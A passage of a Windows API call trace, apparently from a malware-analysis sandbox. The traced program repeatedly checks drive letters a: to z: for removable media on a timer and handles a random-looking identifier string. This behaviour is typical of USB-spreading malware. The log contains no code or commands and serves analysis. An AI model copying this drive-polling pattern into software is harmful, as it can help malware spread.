lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.282] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2b50 | out: hHeap=0xe80000) returned 1 [0170.282] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0170.283] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076940 [0170.283] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2e20 [0170.283] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.283] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0170.283] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0170.283] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0170.283] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0170.283] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a18 [0170.283] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0170.283] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0170.283] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769a0 [0170.283] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf268 [0170.283] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf288 [0170.283] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1488 [0170.283] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.283] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0170.284] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0170.284] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0170.284] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0170.284] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0170.284] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0170.285] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0170.285] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0170.285] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0170.285] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0170.285] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0170.285] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0170.286] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0170.286] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0170.286] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0170.286] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0170.286] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0170.287] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0170.287] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0170.287] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0170.287] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0170.287] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0170.288] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0170.288] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0170.288] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0170.288] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0170.289] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1488 | out: hHeap=0xe80000) returned 1 [0170.289] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0170.289] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a18 | out: hHeap=0xe80000) returned 1 [0170.289] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0170.289] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0170.289] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0170.290] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0170.290] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0170.290] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf358 [0170.290] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769b8 [0170.290] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0170.290] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0170.290] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.290] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf288 [0170.290] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076928 [0170.290] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0170.290] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe818 [0170.290] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0170.290] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.290] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076928 | out: hHeap=0xe80000) returned 1 [0170.290] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0170.290] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefe818 | out: hHeap=0xe80000) returned 1 [0170.290] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0170.290] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0170.290] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0170.290] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.291] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0170.291] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.291] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2e20 | out: hHeap=0xe80000) returned 1 [0170.372] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769a0 | out: hHeap=0xe80000) returned 1 [0170.372] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 1 [0170.372] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0170.372] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0170.372] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0170.372] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0170.372] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.372] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0170.372] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0170.373] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.373] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2b8 [0170.373] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed3060 [0170.373] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.374] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed3060 | out: hHeap=0xe80000) returned 1 [0170.374] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2b8 | out: hHeap=0xe80000) returned 1 [0170.374] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076868 [0170.374] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2b50 [0170.374] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.374] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2b8 [0170.374] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0170.374] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0170.374] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf268 [0170.374] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0170.374] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0170.374] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768c8 [0170.374] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0170.374] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2d8 [0170.374] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf428 [0170.374] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1488 [0170.374] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.374] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0170.374] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0170.375] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0170.375] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0170.375] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0170.375] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0170.375] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0170.375] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0170.375] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0170.375] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0170.376] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0170.376] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0170.376] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0170.376] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0170.376] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0170.376] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0170.376] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0170.377] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0170.377] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0170.377] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0170.377] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0170.377] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0170.377] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0170.378] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0170.378] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0170.378] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0170.379] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1488 | out: hHeap=0xe80000) returned 1 [0170.379] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0170.379] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0170.379] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0170.379] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0170.379] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2b8 | out: hHeap=0xe80000) returned 1 [0170.379] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1640 [0170.379] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076aa8 [0170.379] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf308 [0170.379] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0170.379] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a30 [0170.379] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0170.379] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.380] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf288 [0170.380] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769a0 [0170.380] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0170.380] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe778 [0170.380] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769b8 [0170.380] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.380] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769a0 | out: hHeap=0xe80000) returned 1 [0170.380] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769b8 | out: hHeap=0xe80000) returned 1 [0170.380] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefe778 | out: hHeap=0xe80000) returned 1 [0170.380] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0170.380] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0170.380] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec690 [0170.380] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.380] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec690 | out: hHeap=0xe80000) returned 1 [0170.380] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.381] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2b50 | out: hHeap=0xe80000) returned 1 [0170.381] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0170.381] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0170.381] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a30 | out: hHeap=0xe80000) returned 1 [0170.381] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0170.381] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076aa8 | out: hHeap=0xe80000) returned 1 [0170.381] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0170.381] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1640 | out: hHeap=0xe80000) returned 1 [0170.381] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0170.381] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.381] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0170.381] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0170.381] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.381] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf308 [0170.382] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2e20 [0170.382] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.382] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2e20 | out: hHeap=0xe80000) returned 1 [0170.382] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0170.382] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076868 [0170.382] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2e20 [0170.382] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.382] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0170.382] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0170.382] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0170.382] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0170.382] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a18 [0170.382] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0170.382] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769b8 [0170.382] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076928 [0170.382] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf288 [0170.382] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf368 [0170.382] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1488 [0170.382] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.382] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0170.383] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0170.383] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0170.383] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0170.383] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0170.383] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0170.383] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0170.383] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0170.384] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0170.384] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0170.384] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0170.384] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0170.384] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0170.384] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0170.384] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0170.385] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0170.385] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0170.385] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0170.385] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0170.385] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0170.386] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0170.386] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0170.386] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0170.386] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0170.386] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0170.386] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0170.387] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1488 | out: hHeap=0xe80000) returned 1 [0170.387] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0170.387] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a18 | out: hHeap=0xe80000) returned 1 [0170.387] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0170.387] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0170.387] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0170.387] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0170.388] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a18 [0170.388] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2b8 [0170.388] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0170.388] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076aa8 [0170.388] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769b8 | out: hHeap=0xe80000) returned 1 [0170.388] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.388] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0170.388] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0170.388] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0170.388] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe5b8 [0170.388] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0170.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.388] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0170.388] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0170.388] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefe5b8 | out: hHeap=0xe80000) returned 1 [0170.388] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0170.388] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0170.388] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec650 [0170.388] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.389] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec650 | out: hHeap=0xe80000) returned 1 [0170.389] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.389] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2e20 | out: hHeap=0xe80000) returned 1 [0170.389] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076928 | out: hHeap=0xe80000) returned 1 [0170.389] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0170.389] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076aa8 | out: hHeap=0xe80000) returned 1 [0170.389] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0170.389] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a18 | out: hHeap=0xe80000) returned 1 [0170.389] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2b8 | out: hHeap=0xe80000) returned 1 [0170.390] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0170.390] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0170.390] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.390] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0170.390] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0170.391] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.391] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf378 [0170.391] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2b50 [0170.391] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.392] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2b50 | out: hHeap=0xe80000) returned 1 [0170.392] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0170.392] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076a48 [0170.392] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2eb0 [0170.392] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.392] 